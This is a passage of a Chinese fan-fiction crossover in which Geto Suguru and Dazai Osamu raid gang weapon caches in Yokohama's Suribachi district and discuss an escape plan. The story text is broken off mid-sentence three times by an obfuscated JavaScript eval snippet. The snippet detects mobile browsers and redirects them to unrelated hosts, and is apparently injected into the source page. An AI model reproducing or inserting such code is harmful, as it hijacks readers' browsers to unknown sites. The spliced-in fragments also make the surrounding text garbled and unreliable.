夏油杰的视力非常好,他看到许多光着脚的小孩在坑底跑来跑去,还捧着捡来的破烂,让他不自觉地想到同样在这个年纪的双胞胎。 “我看到很多……小孩?”他不敢置信。 “哦,成年人一般去当底层成员和混混了。”太宰习以为常,“小孩的体型没办法当炮灰,还拖不动重伤患者去医疗队包扎,更没力气捡尸,没有黑色组织会要,只能留在擂钵街求生。” 嘶,真乱。 这个世界太乱了。 夏油杰无法想象到现代社会还有人对枪战和死亡习以为常。 在咒术界的广泛认知里,普通人的心灵无比脆弱,遇到危险就会大喊大叫,安全时又主动作死,只会源源不断地产生诅咒,必须得隔离和保护起来。 免得他们一个害怕,产生连锁反应,捣鼓出什么特级危险咒灵,让咒术师白白去送死。 但这个世界的民风也太彪悍了吧。 夏油杰的常识受到冲击,在短暂的错愕后,产生的第一想法竟然是还不如让两个世界的普通人互换呢,如果他遇到的普通人见到咒灵的第一反应是立刻端枪自卫清空弹夹,而不是等咒术师去处理,哪怕子弹打在咒灵身上毫无作用也行啊。 太宰正观摩着他的微表情呢,余光突然窜出来一只三花猫,他愣了下,下意识向夏油杰若无其事地提议,“想不想去看一下?” 夏油杰没反应过来:“什么?” “擂钵街。” 太宰介绍的比之前详细一些:“近五年来,黑手党半数以上的新成员都出自擂钵街,包括我以前的学生和搭档,这几天不少人趁乱生事加入其他组织,估计招揽人数快抵达历史新高的龙头抗争时期了。”他仿佛只是随口一提,“看你很感兴趣的样子,可以去逛逛,反正国木田他们等一段时间才回来。” 夏油杰果断:“好啊。” 他不是那种优柔寡断的人,做起决定来随心所欲。 只要不是自己世界里的普通人,夏油杰看谁都带着强者对弱者的包容和仁慈,别提还是群跟双胞胎同龄的小孩。 他用视线搜索街道上的便利店,离开前侦探社给了他一张不记名卡当谢礼,金额大概七八万,在以前的特级眼里不算多,勉强够用,夏油杰目的地明确,“我去买点面包和药。” 太宰在后面挥手大喊:“帮我买点绷带!有清酒和蟹肉罐头就更好了!” 语气坦坦荡荡,丝毫不在意把爱好暴露给其他人。 夏油杰头也不回比了个收到的手势,太宰注视他的背影一头扎进店里,才转头对墙角观察许久的三花猫转头微笑,尝试着伸出手,笑得乖巧极了:“老师,这次也是来帮助我们的吗?” 在不久前的共喰事件里,有一个从未被写进档案的细节,在侦探社和港口黑手党里只有三个当事人才知道。 有只三花猫,曾给在医院中的太宰递上过关键线索。 太宰撑着膝盖半蹲,伸出右手,他没有试图摸猫,这可是疑似夏目老师的长辈本人,自己作为无效化异能者还是不要讨人嫌了,“上次您送来了花袋调查出的魔人据点,这次您要送点什么?” 三花猫将嘴里叼着的纸条轻轻放在他手心里,然后转头看便利店,玻璃窗里映照出夏油杰挑选商品的背影。 太宰顺着视线看过去,面露了然,“是在担心夏油君吗?确实,跟苍王一样偏激而危险,但本性不坏,不如说是价值观被人为扭曲了。” 猫咪用警惕而无奈的眼神看他。 太宰笑道:“老师,别紧张,我没打算把他洗脑成正常人,很久前我就不做类似的事了,我早就明白被他人赋予的生存价值,终究只是牵强附会的观念。” 不知道想起什么,太宰突然低声笑了一下,“他没有选择魔人,而是选择了我。老师,您能理解吗?他跟曾经的镜花一样,洗脑自己去踏上一条痛苦不已的道路,以为那是人生的价值,却不知道终点将是深渊。” 在夏油杰的身上,他看到太多人的影子。 太宰呢喃细语:“可人类生来趋向甜蜜,在痛苦中沉浸太久,他只会得到自我毁灭。” 三花猫缓缓地点头,仿佛听懂太宰藏在话语里的保证——太宰不会让夏油杰失控的,因为在那次与魔人的对决中,夏油杰选择了他。 如同曾经拯救了试图自我毁灭的泉镜花一样,太宰不会放弃任何一个站在岔路口迷茫的人,除非夏油杰自己主动放开手。 他拍了拍膝盖站起来,不远处的门店风铃响起,夏油杰去完便利店又跑了次药店,手里拎着两三包袋子走出来,惊诧地扫了一眼三花猫,看向太宰的视线不自觉变得诡异:“你居然喜欢猫?” 这个爱好太健康了,总感觉跟太宰治本性不符。 “别小看老师,它也是我们侦探社的一员。”太宰不满地嚷嚷起来,“事务员小姐一直在饲养它。” 夏油杰从便利袋里拿出甜度不高的面包,撕成小块递到猫咪面前,他习惯投喂动物了,高专坐落在森林里,经常会有些奇怪的生物迷路,很多辅助监督也会操纵简单的式神动物进来。 “……” 不知道为什么,面对投喂,太宰和三花猫都沉默了一会儿。 好半晌,猫咪才轻轻咪了一声,仿佛在礼貌地感谢,然后咬住面包一角,跳到墙上消失不见。 夏油杰谈起正事:“你们侦探社的普通事务员不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15289267|166494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 会被军警逮捕吗?” “他们不了解侦探社的行踪,警察估计会上门问话,只要得不到答案,过几天就没人理他们了。” 他们两人一起走向擂钵街,夏油杰拿起剩下的面包,毫不在意地撕成小块吃下去,反正面包又没接触过猫。 太宰眼神越来越奇怪,欲言又止,好半天才轻轻叹气:“老师认可你了。” 夏油杰:“你们管猫叫老师?” 他把夜蛾老师的脸代入到三花猫身上……下意识痛苦面具,不行,根本代入不了,还不如代入夜蛾老师缝制的那些咒骸呢。 太宰一点也不怕被发现异常,理直气壮地说:“老师非常聪明,有时候连续三四天忘记投喂,也能健康地活下来。” 夏油杰吐槽:“……根本就是野猫吧,只不过习惯去侦探社里觅食而已。” 他听完也没觉得奇怪,在许多国家的历史里,都有猫精通人性的传言,作为熬夜补习各地传闻的咒术师,他对这种常人感到惊奇的现象天生有些钝感。 太宰知道他的性格缺陷,才会自然而然地说出来试探,发现夏油杰没有对三花猫人性化的态度起疑,他才转移话题:“说起来,擂钵街人挺多的,来都来了,顺便当次恐怖分子吧。” 他觉得这个临时起意的计划不错,下意识计算起利益得失。 “擂钵街是黑手党孕育新成员的温床,在这里大闹一场,不仅能震慑一些趁乱生事的黑色势力,借此还掉港口黑手党人情,还能抢走几箱的枪支武器当借住费。” 太宰算盘打得飞快,“吸血鬼的事情刚才我在会议上说过了,森先生习惯未雨绸缪,目前来看,避免被咬到的方法只有远距离射击,但港口黑手党的弹药在之前几次事件中消耗不少,亟待补充……” 夏油杰听了一耳朵港口黑手党的火拼特色。 太宰越算越有,他拍板定案:“夏油君,我现在去调查其他黑手党藏在擂钵街的武器库在哪,等你分完面包,我们就去打劫!” 原本看到夏油杰带着面包围上来蠢蠢欲动的混混和流浪儿童听闻此话都惊呆了,他们先看了看发言惊天的太宰治,又看了看面带微笑的夏油杰。 最后缓缓地、谨慎地后退两步。 “要打去空地打,别把我们的房子弄塌。”他们做出随时溜走的姿势,手里攥着刀,满眼警惕和鄙夷,“你们港口黑手党能不能少来擂钵街祸害人。” 夏油杰:“……” 不,他不是黑手党,最初的想法也只是爱屋及乌下几个跟双胞胎同龄的小孩而已。 这话说出来也没人信,太宰刚才惊天动地的发言已经让人们将他俩的身份钉死在趁火打劫的港口黑手党成员上,比起去便利店拿小刀就能打劫出来的几包面包,还是性命更重要。 这群人立刻散出一条空旷的道路,生怕自己被牵扯上,脸上写着请快点滚四个大字。 太宰见怪不怪,他带着夏油杰走到里面,催促道:“别看了,你想救的孩子不会生存在外围的,这些小鬼看着可怜,实则专门训练过,掏刀子的速度比不少成年人都快。” 听到太宰这么了解擂钵街,这群人更加确定两人来者不善的想法,秉承着多一事不如少一事,让路让的更利索了。 他们不耐烦地催促:“快走,你俩站在这,打扰到我们抢劫了。” 夏油杰听得一愣又一愣。 “……你们横滨真是民风彪悍。” 19.第 19 章 离开抢劫团伙,两人继续往下走,擂钵街越深处越昏暗,两边的违章建筑也越来越多,夏油杰甚至听到许多微弱的脚步声。可当他和太宰靠近这些破旧的板棚时,里面的动静立刻停止了。 直到两人渐渐远离,那些孩子才重新活过来一样,恍若无事地走来走去。 夏油杰的心情突然有些复杂。 在他原本的世界里,哪怕有无数人因咒灵而死,也不会出现这种情况。 他怀着复杂的心情叫出咒灵,叫它们去垃圾堆里搬运小孩抬不动的木材铁皮,加固这些随时倒塌的房子,然后又把药和面包从缝隙里塞进去,一路走一路放,直到手上拎着的大包小包慢慢减少,只剩下太宰要的绷带和清酒蟹肉。 太宰既不帮忙也不阻止,他双手插兜,晃晃悠悠地走在路边:“哎呀,还真是好心呢。” 夏油杰也意识到自己现在的做法跟在监狱里亲口说的准则不匹配,这可不行,他严谨声明:“我讨厌的普通人和他们不是同一种类。” 太宰又开始用奇怪的眼神看他,摸了摸下巴,他真的搞不懂夏油杰的脑回路:“你到底想不想保存秘密,再这么透露下去,不到两天我就能猜出来了……难道你是故意在暗示我?” “不不不。”夏油杰郑重其事:“这是我唯一的坚持,我讨厌某些人讨厌到甚至不想和他们呼吸着同一片空气,谁也不能把其他人插入进来。” 太宰还是第一次听见这种暴言,罕见愣了一下:“好扭曲的仇恨观。” 这也太坚持不懈了,但凡夏油杰的理想不是杀死全部普通人,太宰都要为他的爱憎分明而鼓掌。 太宰吐槽:“真好奇要是把你和魔人关在默尔索,让你们天天开烦恼商量会,互相折磨到忍无可忍,会发生什么事情。” 夏油杰露出虚伪的假笑没有回话。 无所谓,又不是同一个世界,假如费奥多尔想拯救是群非咒术师,他才会应激到当天救破狱而出,绝对不跟没品的魔人坐同一处牢房。 太宰从他隐隐嫌弃的表情中看出什么,噗嗤笑出声来,他断断续续笑了三四分钟,才抹掉眼泪谈起正事:“我刚才来的路上把附近的人员分布和地形图都记住了,大概猜到武器库在什么位置,走吧,我们去打劫!” 他语气兴致昂扬,大手一挥定下距离最近的目标,领着夏油杰来到某个坍塌的集装箱里。 “让我看看,虽然是废墟,建筑材料却非常稳固地插在土里,明明有成年人都可以通过的入口,周围却没有被流浪儿童翻找的痕迹……” 太宰绕着圈观察了一遍,不出五秒立刻吐槽:“太假了吧,放到港口黑手党里是会被我点名批评的不及格作品。” “有吗?”夏油杰认真看了大半天,也没看出来假在哪,要不是太宰一样样说出来,他可能事后才发现不对劲。 “当然了,你看地上,擂钵街内部是泥土地,横滨作为港口城市经常会下雨,可这里一处泥泞脚印都没有。”太宰指着地上,“这说明住在附近的人都心照不宣,废墟里面非常危险,哪怕自己的房子被暴雨打塌,也不能来这里躲雨,更不能进去捡废品。” “而且,他们伪装的太用力了,想把集装箱变成这种程度的废墟,至少要受到非常暴力的摧残,在那种恐怖的力道下,地面应该有战斗后的坑洼,被打碎的石子,以及火药或者异能力残留的细节。” 太宰把这里批评的一无是处,“但是除了集装箱,其他东西都完好无损的不像样。” 夏油杰仔细看了看,确实,太宰点出来后,他看着这里也别扭起来。 “交给你啦,夏油君。”太宰十分自然的把自己从工作中摘出去,“武器库在地下,我没有密匙,只能靠你强闯进去。” 夏油杰不太想让战斗把无辜路人的房子弄塌了,他婉拒道:“不用,我有能储存东西的咒灵,让它进去把弹药箱吃掉,咱们两个装作不知道离开就行。” 太宰第一反应是,原来夏油杰操纵的东西叫“咒灵”。 咒术师,咒灵,听着就有相似之处,难道所有咒术师都可以操纵咒灵吗?就跟阴阳师控制式神一样? 太宰嘴上没停:“不想,我们主要目的是把事情闹大,如果偷了东西就走,谁知道搞事的人是武装侦探社呢。” 但他看出来夏油杰的不情愿,这种良好三观值得鼓励,于是在他露出抗拒表情的前一秒,太宰话音一转:“不过,我们可以换种闹大的方式。” 夏油杰果然上钩:“什么?” “你依然把所有弹药都搬走,但记得破坏掉门禁,确认警报声响起以后,我们去下个武器库,再重复刚才的操作。”太宰说,“直到这群人派部下来擂钵街探查情况。” 夏油杰想了想,“这跟我刚才的操作有区别吗?” “有区别,你不破坏门禁,怎么让这些组织知道侦探社想抢劫呢,”太宰抹黑起自家组织说的理所当然,“你不把他们聚集起来一网打尽,又怎么让军警确信,侦探社有统一横滨地下组织的想法呢?” 夏油杰委婉:“港口黑手党还在,军警会信这么离谱的事?” “他们信不信无所谓,上面的人信了就行。”太宰随口道,“别看我们现在和黑手党关系不错,一个月前可打得头破血流,恨不得对方立刻去死呢。” 夏油杰:“我记得是因为共喰的异能……?” 太宰表情无辜极了:“那又怎样,在上面的人眼里,这反而说明侦探社和黑手党非常自私,为了首领的性命,毫不犹豫开启了两个异能组织之间的战争,不顾横滨的稳定。” 夏油杰懂了,所以说,在不值钱的人看来,港口黑手党这次会选择帮侦探社,其实是为了贪图某种不知名的利益。 只要他们能把侦探社在搞小动作的事情告诉森鸥外,利益受损的港口黑手党就会不留情面地抛弃侦探社,维护自己作为黑手党老大的威严。 他再次感叹太宰治随手就能一石多鸟的性格有多可怕,“正好你让国木田先生去劫走种田部长,特务科有足够理由陷入内乱,拒绝参与这次联络,那么在猎犬逮捕侦探社的前提下,黑手党内部又有猎犬的卧底,军警没有理由拒绝跟港口黑手党联络。” 太宰用赞同的眼神看他,“什么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15293252|166494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的人不知道森先生的立场是保护横滨,这种内乱只是逢场作戏,就算福地樱痴才出来也无计可施,他没办法违抗内务省的命令。” 能拖几天是几天,至少让侦探社趁机把神威的名声宣传出去。 理解这次计划的夏油杰立刻行动起来,他让咒灵钻进地底,开始大肆收缴弹药箱,到处搞破坏,自己优哉游哉地站在地面上,摸着下巴继续琢磨。 “听你的意思,福地樱痴很强,那他留在军警是为什么?” 虽然他会听总监部的调派,但前提却是自己愿意,如果他不想,违抗命令是常有的事,比如不管不顾放五百年同化一次的星浆体离开。 “怎么说呢,你听过[大指令]吗?”太宰苦恼地总结语言,“我知道你肯定没听过,那是个能控制部下举动的武器,在我们驾驶直升机飞在大西洋上的时候,福地樱痴刚得到联合国的授勋,成为人类军的领袖,只要再拿到[大指令],他就能轻而易举发动政变。” 太宰仿佛头疼似的揉着太阳穴,语气透露出心累,“虽然是个随时可以收回的职位,但如果加上大指令,就没人能制止他了。” “……”夏油杰难以置信,“真的有人蠢到把全球军队和大指令同时交给一个人吗?” 太宰:“你忘记吸血鬼了,假如病毒在全球肆虐,没办法分辨谁是人类谁是吸血鬼,多个国家政权受损,愤怒的联合国就会忍无可忍,动用大指令,力求在最短时间内摧拉枯朽地解决这场闹剧。” 毕竟,被大指令操纵的部下绝对忠诚,无论如何都不会混入吸血鬼。 又有谁会相信,拿着大指令的英雄,正是引起吸血鬼感染的幕后主使呢? 太宰摊手:“别觉得我的计划绕来绕去,我也不想这么麻烦,但全世界都被书改变认知,侦探社没办法揭穿福地樱痴的真面目,只能让联合国自己调查出来。” “绕就绕了点,反正我不是指挥。”夏油杰丝毫不在意。 谈话间,咒灵已经回来了,丑宝习惯性盘旋到夏油杰身上,然后被他收回去咒灵操术的空间里,他们两个马不停蹄换到下一个武器库,故技重施,等把擂钵街的弹药储量打劫了一半多时,得到风声的其他黑手党组织终于追查着两人的脚印赶过来了。 第一波人扛着单兵火箭筒和机枪飞速赶来,估计误以为是好几个队伍在合作搬运,看到夏油杰两人时还愣了两秒,紧接着气势汹汹地架起炮口。 “说,你们的大部队在哪?!” 这群人非常气愤,眼神凶恶到恨不得当场把两人吃了,却因为损失惨重不得不忍耐下来,凶神恶煞地逼问:“把我们的弹药箱还回来,还能给你们两个和家里人留个全尸!” 家人两字直接触及到夏油杰的应激反应,他刚要沉下脸,街道上面一圈忽然又冒出好几个人头和炮口,不知从哪冒出来的红外瞄准线扫了一圈,忽略掉夏油杰和太宰治两个罪魁祸首,直接划到顶头叫嚣的人脑袋上,语气阴森森得可怕极了:“就是你们抢了我们组织的武器?” 被无视的夏油杰:“……” 被无视的太宰治:“……” 20.第 20 章 被质问的第一波人登时怒了,他们指着包围圈里老神在在的两个罪魁祸首,勃然大怒:“你眼瞎吗!没看见我们也被抢了?现在是来报仇的吗?!” 第二波人将信将疑,稍微移开一点红外瞄准镜,先看了看周围全副武装的彪形大汉,然后又打量起两个犯罪嫌疑人,一个穿着黑色高领上衣和休闲长裤,一个沙色风衣浑身缠满绷带,身形高瘦,毫无警惕性,总得来说,看上去被打一拳能住半个月的重症病房。 这俩人甚至在他看过来时同步露出客套微笑,点头打招呼。 能不能有点危机意识?! 夏油杰维持着抬头的姿势,被晃得眯起眼睛,他用手遮住太阳,默默吐槽:“站的好高,我脖子有点酸。” 太宰不嫌事大地撺掇:“我支持你把他们全打下来!第三波人马上赶到,现在不动手,等下就没地方站着了。” 夏油杰觉得他说的有道理,于是找到被丑宝吃掉的弹药箱,从里面翻了把满弹手槍,扔给太宰治。 他郑重其事:“你也努力点,虽然我的咒灵在旁边保护你,但你别碰它。” 太宰熟稔地检查起弹匣枪管,拉上保险栓,整个人左耳进右耳出地对他摆手催促:“知道啦知道啦,快去打架。” 敌人看得都傻眼了,眼睁睁见穿休闲黑衣的青年从半空中突然掏出手槍,扔给另一位同伴——枪管上甚至还带着自家组织的印记!! 巨大的信息量冲击让他们愣了几秒,任何勃然大怒,齐刷刷架起武器:“你们想找死吗?!” 太宰治震惊抬头:“诶?明明是你们在找——”死吧。 他话没说完,对面的队伍已经扣动扳机,剩下的尾音隐没在轰然响起的炮火声中,太宰选择的交战地点是片垃圾场,擂钵街少见的无人区,而单兵火箭筒射出的炸弹在他身边爆炸,大量的泥土被溅射飞起,生活垃圾化作碎片,巨大的震动让上面那层的队伍都晃了晃身子。 顶上的人被垃圾和石子泥土泼得灰头土脸,勉强稳住身子,刚睁眼看到底下灰尘漫天的废墟,顿时火冒三丈:“你们是哪个组织的?动手不会轻点!他们死了我的武器怎么办?” “你……”底下的人却没有回话,反而瞪大眼睛手指颤颤巍巍地指着他身后,仿佛要说什么,目眦欲裂。 在横滨当黑手党人多多少少算是身经百战,他立刻反应过来想回头,一只手却突然拍在他的肩膀上,吓得他心脏骤停,一道熟悉的声音在耳边极其自然地回答道。 “这个就不劳你费心了。” 什么时候——?!! 领头的老大瞪大眼睛豁然转身,身形瘦高的半长发青年正笑眯眯站在身后,两人靠得极近,关系好到凑近说悄悄话的姿势,相隔只有三四厘米,距离近到他甚至能看清这人耳朵上的黑色耳钉。 此刻底下的灰尘也渐渐散去,与周围铲下一层地皮的坑洼景色不同的是,正中央模糊不清的沙色身影仍站在原地,岿然不动,那人百无聊赖地抛着手里的枪,完全是一副被保护的密不透风的模样。 太宰看到上面的现场状况,抬手接住了随时走火的手槍,哼了一声,“我可是听你的要求,站在原地一动不动,没让你的小可爱们被无效化。” “太宰,我这也是为了保护你。”夏油杰老父亲似叹气,按住敌人的手却丝毫没有挪开,仿佛铁钳一样,让人挣脱不得,捏得对方疼到怀疑骨头快裂开了。 太宰抬手随便打了一枪,子弹正中想趁机偷袭的敌人的手腕,在敌人痛喊的背景音中,他说话声都不怎么清晰了,嘟囔着抱怨:“才没有,你只关心咒灵的安危,别以为我忘记你刚才说的话了。” 正常跟他出搭档的人,无论是港口黑手党还是武装侦探社,都会千叮咛万嘱咐让太宰治别一时兴起冲到战场中心去找死,只有夏油杰,开口就是你自己努力一下,别碰我的咒灵。 夏油杰露出假笑:“你自己的异能力多遭人嫌弃还不清楚吗?我的上个一级咒灵被你碰了下,直接掉到二级底层,我的咒灵储量也不多了!” “还剩几个?”太宰随口一问,他这次没有打探情报的意思,只不过下意识接了句。 然后就听到夏油杰满是阴郁和遗憾的回答,似乎在后悔以前没多收集点:“刚满四位数。” 尽量往高了估算也只猜测他有两三百个的太宰:“???” 他有点无语:“这已经够多了,港口黑手党的一栋大楼里都不一定有上千人。” 毕竟不是任何成员都有资格踏入那座大楼里。 再一次被两人无视的诸多敌人听到此处终于反应过来,“你、你们是异能者,港口黑手党的异能者!” 夏油杰总算把目光递给了他,沉默片刻,回答道:“不是。” 听见回答的人懵了下,不是什么?不是港口黑手党的人? 还没等他们想明白这句摸不着头脑的答案,夏油杰微微用力,这人立刻发出惨叫,声音吵得夏油杰啧了声,他皱着眉甩手把人扔出去,被咒力加持的力气大的恐怖,一路撞飞好几个人堪堪停下。 失去重要人质,枪口几乎同一时间再次对准他,但这群人脸色虽然难看,却没人敢再次扣下扳机。 刚才动手的后果此刻正优哉游哉站在面前,谁敢冒着激怒对方的勇气开火? 被枪口指着,夏油杰也不在意,他见多了咒术师和普通人在面对诅咒时的差距,发现这群人有勇气举起武器,竟然有点诡异的欣慰。 他决定等下动手轻点,反手从丑宝嘴里抽出咒具万里锁,微微抬高声音对太宰说:“等我两分钟。” 说完他就冲到敌群里,看不见尽头的铁链贴着地面横扫,被击中腿部的敌人只感到一股大力袭击而来,东倒西歪滚成一团,腿骨估计要裂开了,不禁发出连连惨叫。 “反击!快反击!” “狙击手呢?怎么还不动手? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15301365|166494||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么、你说他开了三枪都被敌人拦下了?” “啊!救命!!他在这里!” 指挥的声音乱作一团,太宰治啧了声,碎碎念着小声抱怨:“明明有咒灵帮忙,却非要自己动手,我遇见的怎么全是些暴力狂。” 顶上的人正在鬼哭狼嚎,底下的人也顶着巨大压力,在他们进退两难之际,正巧第三波人姗姗来迟,他们刚过来就看到一群人满是戒备地把太宰治围住,好似凶神恶煞在寻仇,实际上根本不敢靠近对方,那人往前走一步,他们就要后退两步。 被迫乱入现场的第三波人党当即懵了,怎么回事?他们不是追着小偷的踪迹来的吗,怎么只有别的组织在寻仇?而且头顶为什么还有人在枪战? 现场太乱太复杂,他们犹犹豫豫不敢指认嫌疑人,生怕招惹别的组织,连忙拿出通讯器联系情报员,导致现场就僵持在这里,被夹在中间的第一波人骑虎难下,只好努力严肃脸盯着太宰把枪转来转去,暗暗祈祷他走火打死自己。 看着看着,不少人发现,这家伙怎么这么眼熟? 尤其是全身上下缠满的绷带的特征,如果把衣服换的更黑手党一点,阴沉压抑一些,配合上刚才上面的人喊出来的港口黑手党,就非常有既视感了…… “太宰治!”突然有人脱口而出。 所有人都转头看他,包括听见名字疑惑侧目的太宰治本人,那个喊出这个名字的成员惊慌失色,手足无措地回答:“我记起来了!他是以前港口黑手党的干部,现在被猎犬追杀的武装侦探社的成员,被通缉的那个天人五衰之一太宰治!” 瞬间,一石惊起千重浪,其他眼熟的人纷纷被唤醒了记忆。 黑手党里其实有不少活得久的成员,经历过多年前横滨动乱的年代,这次为了追杀导致组织损失惨重的小偷,不少人被自家首领派了过来,立即把眼前的青年和四年前那个穿着黑色大衣的少年、那个热衷到敌人埋伏里送死的港口干部联系到一起。 “哎呀。”太宰笑眯眯地歪头,表情似乎还有点满意地点头,“果然罪证恢复后方便不少,都不用自我介绍了。” 他背后夏油杰暴揍敌人的背景音渐渐减弱,不稍片刻,身高跟成年人差不多的高中生从头顶跳下来,他看到第三波新来的人还有点惊讶:“嗯?什么时候来的?” 不等太宰回答,夏油杰又立刻说:“算了,不重要,反正我打够了,一起处理了吧。” 话落他抬起手,普通人看不见的黑洞盘旋在掌心上,密密麻麻的咒灵鱼贯而出,直接冲到人群里面,夏油杰这次没有亲自动手,他打完架后整个人心情还不错,转头问:“还有吗?” 太宰算了算:“还剩九个组织,运气好的话,两个小时我们就能回去。” 其他人听到这句话险些气到吐血,所以你们不是动了三个组织而已,是把整个横滨除了港口黑手党以外的黑手党全打劫了遍,全部武器库一扫无遗吗?! 21.第21章(营养液满千加更) 他们两个忙活了两个多小时,把挨个送人头的其他组织全揍了个遍,其实说是在忙碌,实际上他俩只不过是站在中间聊天,躺尸的敌人一摞接一摞,到最后甚至无处下脚。 后来的组织看到这一幕,几乎下意识转头就想跑,但蓄谋已久的咒灵蜂拥而上,躺尸圈越来越大,幸好在扩展到擂钵街其他区域前及时止住,最后离开时为了避开这群人的身体,太宰他俩硬生生走了半个多小时。 好不容易走出来,太宰心底松了口气,踩在别人身上的感觉很怪,他又没办法乘坐夏油杰的咒灵,只好眼睁睁看着对方不顾狱友情谊,独自坐在咒灵上飞出去。 不过算他还有良心,至少一直在太宰身边飞,没有直接抛下他离开…… 夏油杰听完他的抱怨不禁吐槽:“明明是你威胁我,如果我跑了,等以后咒灵我召唤出一个你就无效化一个吧” 他刚刚在路上聊天时才知道,太宰登记在册的异能力正式名叫‘人间失格’,是可以无效化其他异能的异能,平时会被动出现在体内,只有死亡才能关闭。 “是个很麻烦的能力,明明其他幸运儿在死后也能维持异能的活跃度,我却不行。”太宰评价起这个全世界独一无二的异能起来非常嫌弃,还有点生气,“夏天时我们去岛上度假,好不容易能死了,结果被与谢野医生利用我心跳停止跳动的瞬间救了回来。” 夏油杰落到地上,激起零星尘土,他不留情面地揭露对方的歪理:“别说的好像人家对不起你一样,他们是真心希望你能活下去,为了想这个办法,你的同事们肯定付出不少努力,还要想办法瞒着,不让你提前破坏掉计划。” 太宰振振有词:“我是真心在追求死亡!” “那也要珍惜其他人的劳动成果。”夏油杰毫不动摇,跟太宰相处久了,他也没有之前那么生疏,尤其是对方既靠谱又离谱的性格,本就没外表那么讲礼貌的夏油杰吐槽:“别浪费人家的一片好心。” “只是因为一片好心?”太宰突然冒出来一句话,他双手插兜直视前方,夏油杰疑惑转头却只能看见他的侧脸,上层的擂钵街无法遮住太阳,刺眼的阳光肆无忌惮洒下来,为太宰镀上模糊的边缘光圈,他平静地解释自己那句话,“难道人必须要一个锚点而活?” 夏油杰一时间说不出话,他不知道太宰话中是否另有深意,此番深意指的究竟是追求死亡的太宰自己,还是靠着意义才能活下去的他本人。 在他沉默的这几分钟,太宰一扫刚才的压抑,露出跟平时别无二样的笑脸,他拿出手机点来点去:“国木田发来消息了,他们已经把种田长官抢到手了!” 他快速回了国木田几句话,因为夏油杰入狱前没有带手机,越狱后也没时间买新手机,太宰干脆把屏幕转过去怼到他眼前,“他们抢完人就进书里了,现在是谷崎带着书用异能逃命,安吾知道我的计划,半小时前就借口要联系钟塔侍从离开了异能特务科。” 夏油杰皱起眉,异能特务科的名字听起来就有很多异能者,说不定还有很多反制异能者的武器,他担心攻击力不强的谷崎润一郎的安全。 “没关系吗?我以为是三人互相配合闯出去。” 太宰把手机收回来,一边低头点击屏幕一边说,“那是被发现的逃脱计划,国木田他们组的首要目的是抢走种田长官,一切以隐蔽为主。” 夏油杰算发现了,哪怕科技水平比之前的世界高上不少,这个国家习惯的联系方式依然是互发邮件,连短信都很少用。 太宰发完抬头说:“特务科的特种部队出动了,安吾带着其中一个护卫官离开,现在群龙无首,部队只能听从另一位护卫官村社的指令。” “我认识她,一个身经百战的高级特工,谷崎带走种田长官,还是客场作战,绝对没办法从愤怒的敌人里平安出来,”眼看着夏油杰表情凝重,他话题一转,“所以我给他出了个主意。” 夏油杰这才想起太宰是计划策划人之一,不由得追问:“什么?” 太宰露出微笑:“我让他假扮成安吾,并且提供了只有安吾和他身边人知道的口令,只要把密匙说给村社特工后,他就能带着书从隐藏暗道里离开。” 等等,坂口安吾是他朋友吧? 夏油杰听完都忍不住倒吸一口凉气,用怪异的眼神打量他,“你这么坑朋友,安吾先生知道吗?” 太宰理所当然地说:“当然知道,不然你以为安吾为什么只带一个护卫离开,村社特工是他故意留下来的,密匙虽然能进入通道,但想离开却需要验证指纹和虹膜,特务科里只有少数人有资格,村社正好是其中之一。” “那最后不还是暴露了?” “你都说是最后了,”太宰故意向他眨眼,一脸无辜和无耻,“贤治这不就派上用场,他战斗力很强,完全可以控制住独自在外的特工,强迫她刷指纹离开。” 哦对,这种隐秘通道往往不会让多余的人进去。 夏油杰想了想,“那国木田先生呢?他的作用是什么?” “安吾联系钟塔侍从的借口是封印大指令,福地樱痴知道后,肯定会想办法阻拦,但他刚成为人类军的领袖,不能表现太明显,末广铁肠被我用硬币爆炸的借口支开,搭档条野采菊估计在找火药味源头,他只能选择大仓烨子。” 太宰说了一堆前景提要,最后道:“大仓烨子实力没有其他队友强大,她能改变触碰者的身体年龄,只要能隔绝这个棘手的能力,贤治带人逃跑起来会轻松许多。” “好巧不巧,国木田能具现出笔记本上的道具,而我又刚巧从默尔索里带走过一样东西。” 夏油杰情不自禁问:“什么?” “无限塞室的封印装置。”太宰在空中比划出正方形,示意是他俩蹲的那间牢房,“你记得那片玻璃碎片吧?我放口袋里了,原本我是想研究一下反制功能,免得哪天又被关进去。” 夏油杰对太宰的未雨绸缪无力吐槽,他把整个逃跑计划捋了一遍,看上去非常完善,无论是伪装、武力胁迫还是逃跑都有对应成员,但却总觉得隐隐忽略了什么,这是他跟太宰相处一段时间后的第六感。 